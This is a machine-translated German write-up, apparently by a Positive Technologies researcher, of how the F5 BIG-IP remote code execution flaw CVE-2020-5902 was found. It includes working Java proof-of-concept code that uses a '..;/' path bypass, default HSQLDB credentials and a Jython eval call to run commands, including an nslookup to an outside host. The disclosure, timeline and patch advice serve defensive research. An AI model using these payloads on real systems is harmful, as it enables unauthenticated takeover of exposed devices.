Clever Geek Handbook

Aufschlüsselung: Wie wir eine RCE-Sicherheitsanfälligkeit im F5 Big-IP Application Delivery Controller gefunden haben





BIG-IP von F5 ist ein beliebter Controller für die Anwendungsbereitstellung, der von den größten Unternehmen der Welt verwendet wird. Während der Sicherheitsanalyse dieses Produkts konnten wir die gefährliche Sicherheitsanfälligkeit CVE-2020-5902 finden. Diese Sicherheitslücke ermöglicht es einem Angreifer, Befehle für einen nicht autorisierten Benutzer auszuführen und das System vollständig zu gefährden, z. B. den Datenverkehr von Webressourcen abzufangen, die vom Controller gesteuert werden.



Nach unseren Daten war es im Juni 2020 möglich, über das Internet auf 8.000 Geräte mit der Sicherheitsanfälligkeit CVE-2020-5902 zuzugreifen. Die detaillierte Analyse finden Sie in unserem neuen Artikel.



Was ist das Problem



BIG-IP von F5 ist ein beliebter Controller für die Anwendungsbereitstellung, der von den größten Unternehmen der Welt verwendet wird. Sicherheitslücke CVE-2020-5902 wurde auf der CVSS-Skala mit 10 bewertet. Dies ist der höchste Schweregrad.



Die Sicherheitsanfälligkeit kann es einem Remoteangreifer, einschließlich eines nicht authentifizierten Angreifers mit Zugriff auf das BIG-IP-Konfigurationsdienstprogramm, ermöglichen, beliebigen Code in Software auszuführen (Remotecodeausführung, RCE). Auf diese Weise kann ein Angreifer Dateien erstellen oder löschen, Dienste deaktivieren, Informationen abfangen, beliebige Systembefehle und beliebigen Java-Code ausführen, das System vollständig gefährden und beispielsweise einen Angriff auf ein internes Netzwerksegment entwickeln.



Eine Kombination von Sicherheitslücken in mehreren Systemkomponenten (z. B. Verzeichnis außerhalb der Grenzen) führt zu RCE. Unternehmen, in denen die F5 BIG-IP-Weboberfläche in speziellen Suchmaschinen wie Shodan zu finden ist, sind einem besonderen Risiko ausgesetzt. Es ist jedoch zu beachten, dass nicht alle Benutzerunternehmen über das globale Netzwerk auf die erforderliche Schnittstelle zugreifen können.



Während der Überwachung der tatsächlichen Bedrohungen (Bedrohung) Wir haben herausgefunden, dass Ende Juni 2020 weltweit mehr als 8.000 anfällige Geräte aus dem Internet verfügbar waren, davon 40% in den USA, 16% in China, 3% in Taiwan und jeweils 2,5%. in Kanada und Indonesien. In Russland wurden weniger als 1% der gefährdeten Geräte entdeckt.



Kommen wir nun zu der Geschichte, wie wir CVE-2020-5902 gefunden haben.



Suche nach Webserver-Konfigurationsfehlern



Lassen Sie uns F5 Big-IP auf unserer virtuellen Maschine installieren und Zugriff auf die Befehlsshell erhalten:







F5 Big-IP-Befehlszeilenschnittstelle Um



die Untersuchung zu starten, müssen Sie zunächst alle offenen Ports und die von ihnen verwendeten Anwendungen untersuchen. Dadurch werden alle möglichen Einstiegspunkte in das System identifiziert. Dazu verwenden wir den Befehl netstat:







Suchen nach offenen Ports auf dem Gerät, das



ich gerne für Webanwendungen analysiere. Beginnen wir also mit der Analyse der Konfiguration des httpd-Servers, der Port 443 / tcp überwacht.



Die interessanteste Datei aus der Konfiguration ist "/etc/httpd/conf.d/proxy_ajp.conf": 



LoadModule proxy_ajp_module modules/mod_proxy_ajp.so

#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#

#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>

<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>


Inhalt der Datei /etc/httpd/conf.d/proxy_ajp.conf



Diese Datei konfiguriert Apache so, dass Anforderungen über das AJP-Protokoll an Apache Tomcat am lokalen Port 8009 / tcp übertragen werden, jedoch nur, wenn diese Anforderungen mit einer übereinstimmen aus den angegebenen regulären Ausdrücken.







Suchen einer Anwendung, die Port 8009 / tcp abhört



Es ist hier wichtig, auf Orange Tsais Forschung zu verweisen, wie verkettete Server URLs unterschiedlich behandeln können. Insbesondere für unser Paket aus Apache HTTP Server und Apache Tomcat können wir die Zeichenfolge "..; /" testen:







Orange Tsai-Präsentationsfolie



Laut dieser Studie analysiert Apache HTTP Server die Sequenz als gültigen Ordnernamen, während Apache Tomcat der Ansicht ist, dass diese Kombination einen Übergang zum vorherigen Verzeichnis anzeigt.



Um zu verstehen, ob diese Methode funktioniert, müssen Sie den Pfad zu einem der versteckten Tomcat-Endpunkte in der Konfigurationsdatei abrufen: 



…
<servlet-mapping>
        <servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
        <url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
 </servlet-mapping>
…


Ein Fragment der Konfigurationsdatei /usr/local/www/tmui/WEB-INF/web.xml



Der Pfad /tiles/tmui/em_filter.jsp sollte nicht mit den regulären Ausdrücken in der Datei proxy_ajp.conf übereinstimmen.







Testen wir also: Testen der Orange Tsai-Technik



Normale Anforderung Gibt einen 404-Code zurück, und eine Anforderung mit der Orange Tsai-Technik gibt einen 200-Code zurück. Somit können wir jetzt auf alle Seiten auf dem internen Apache Tomcat-Server des untersuchten Geräts zugreifen.



Suchen Sie nach anfälligen Tomcat-Endpunkten



Lassen Sie uns die Konfiguration des Apache Tomcat-Servers untersuchen und versuchen, darin gefährdete Endpunkte zu finden.



Wir haben früher den Pfad /tiles/tmui/em_filter.jsp verwendet, aber jetzt versuchen wir, etwas Nützlicheres zu finden: 

…
    <servlet>
        <servlet-name>hsqldb</servlet-name>
        <servlet-class>org.hsqldb.Servlet</servlet-class>
        <load-on-startup>3</load-on-startup>
    </servlet>
…
    <servlet-mapping>
        <servlet-name>hsqldb</servlet-name>
        <url-pattern>/hsqldb/*</url-pattern>
    </servlet-mapping>
…


Fragment der Datei /usr/local/www/tmui/WEB-INF/web.xml



Ich wurde auf den Pfad „/ hsqldb /“ aufmerksam gemacht, der von der Klasse org.hsqldb.Servlet verarbeitet wird. Das Akronym HSQLDB steht für Hyper SQL Database und sein Pfad / hsqldb / ist für den Zugriff auf die Datenbank selbst verantwortlich.



Lassen Sie uns







prüfen, ob unsere Technik verwendet werden kann, um auf diesen Pfad zuzugreifen: Überprüfen der Verfügbarkeit von HSQLDB



So konnten wir die Autorisierung umgehen und Zugriff auf die HSQLDB erhalten. Auf der offiziellen HSQLDB-Website finden Sie eine Anleitung zum Herstellen einer Verbindung zur Datenbank über HTTP. Außerdem können Sie einen speziellen Java-Treiber verwenden, um eine Verbindung zur Datenbank über HTTP herzustellen. Um eine Verbindung herzustellen, müssen Sie den Login und das Passwort für die Datenbank kennen.



Verwenden wir die "goldene Technik" namens "Google-Suche" und suchen Sie die Standardbenutzernamen und -kennwörter für HSQLDB:







Google zeigt Ihnen den Standardbenutzernamen und das Standardkennwort direkt auf der Suchseite an.



Schreiben Sie nun einen Proof-Of-Concept in Java, um unsere Annahme zu testen, dass der HSQLDB-Treiber kann mit den folgenden Standard-Anmeldedaten arbeiten: 



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


PoC-Code zum Herstellen einer Verbindung mit HSQLDB und Anfordern einer Liste von HSQLDB-Benutzern







Ergebnis der Ausführung des angegebenen PoC-Codes



Der Code wurde ausgeführt und der erste Benutzer aus der Tabelle entfernt. Dies bedeutet, dass wir jetzt beliebige SQL-Abfragen ohne Authentifizierung im F5 Big ausführen können. IP.



Erkunden des HSQLDB-Endpunkts



Ich habe ein wenig Zeit in der HSQLDB-Dokumentation verbracht und mich für die CALL-Anweisung entschieden - sie kann verwendet werden, um gespeicherte Prozeduren auszuführen, einschließlich aller statischen Java-Methoden im HSQLDB-Klassenpfad.



Lassen Sie uns den Klassenpfad von HSQLDB erhalten:



Anfrage: CALL "java.lang.System.getProperty" ('java.class.path')

Antwort: "/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli. jar: / usr / local / www / tmui / WEB-INF / classes "


Dies ist genau der gleiche Klassenpfad wie der Apache Tomcat-Server.



Jetzt müssen wir eine statische Methode finden, die die Ausführung von Remotecode ermöglicht. Nach einer kurzen Suche in der Datei tmui.jar in der Klasse com.f5.view.web.pagedefinition.shuffler.Scripting wurde die Methode setRequestContext gefunden: 



public static void setRequestContext(String object, String screen)
{
     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
     currentObject.set(current);
}


Der Versuch, diese Methode mit beliebigen Daten aufzurufen:



Anfrage: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('aa', 'bb')

Antwort: "NameError: aa__bb",


Wir sehen, dass wir in den Kontext der Python-Codeausführung geraten sind und die falschen Daten übergeben haben.



Wir versuchen das "os" Modul zu importieren und rufen die Systemfunktion auf:



Anfrage: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('__ import __ ("os"). System () #', '# 11')

Antwort: "ImportError: kein Modul namens javaos"


Google den Fehler und finde heraus, dass dies ein typisches Verhalten in der Jython-Sprache ist.



Wir versuchen, den Befehl auf andere Weise auszuführen:



Anfrage: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('Runtime.getRuntime (). Exec ("ls") #', '#')

Antwort: null




Wir haben von dieser Anfrage null erhalten, was uns über die erfolgreiche Ausführung des Befehls informiert. Stellen wir nun den endgültigen PoC-Code zusammen, der eine DNS-Anforderung sendet, wenn der Server anfällig ist: 



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


Und wir werden RCE in unserer F5 Big-IP erhalten, indem wir Befehle für die Reverse Shell verwenden:







Zugriff auf F5 Big-IP über die entdeckte Kette von Schwachstellen



Zusammenfassung



Wir haben den RCE in drei einfachen Schritten von einem nicht autorisierten Benutzer erhalten:



  1. Es wurde ein Fehler in der Konfiguration von Apache HTTP Server und Apache Tomcat gefunden
  2. Verwendet das Standardkennwort für HSQLDB
  3. Verwendete nicht offensichtliche statische Methoden im F5 Big-IP-Bibliothekscode


Wie Sie sich schützen können



Um die Sicherheitsanfälligkeit zu beheben, müssen Sie das System auf die neueste Version aktualisieren: Die anfälligen BIG-IP-Versionen (11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) sollten durch die Versionen ersetzt werden, in denen die Sicherheitsanfälligkeit behoben wurde ( BIG-IP 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4). Für Benutzer von öffentlichen Cloud-Marktplätzen (AWS, Azure, GCP und Alibaba) müssen Sie BIG-IP Virtual Edition (VE) 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6 oder 15.1.0.4 verwenden, sofern diese verfügbar sind diese Märkte. Weitere Hinweise finden Sie in der F5 BIG-IP-Mitteilung .



Autor : Mikhail Klyuchnikov (@ __mn1__ ), Positive Technologies



Zeitleiste:



  • 1. April 2020 - Informationen zu Sicherheitslücken wurden an F5 Networks übermittelt
  • 3. April 2020 - Team F5 konnte Schwachstellen reproduzieren
  • 1 July, 2020 — Security Advisory


More articles:


All Articles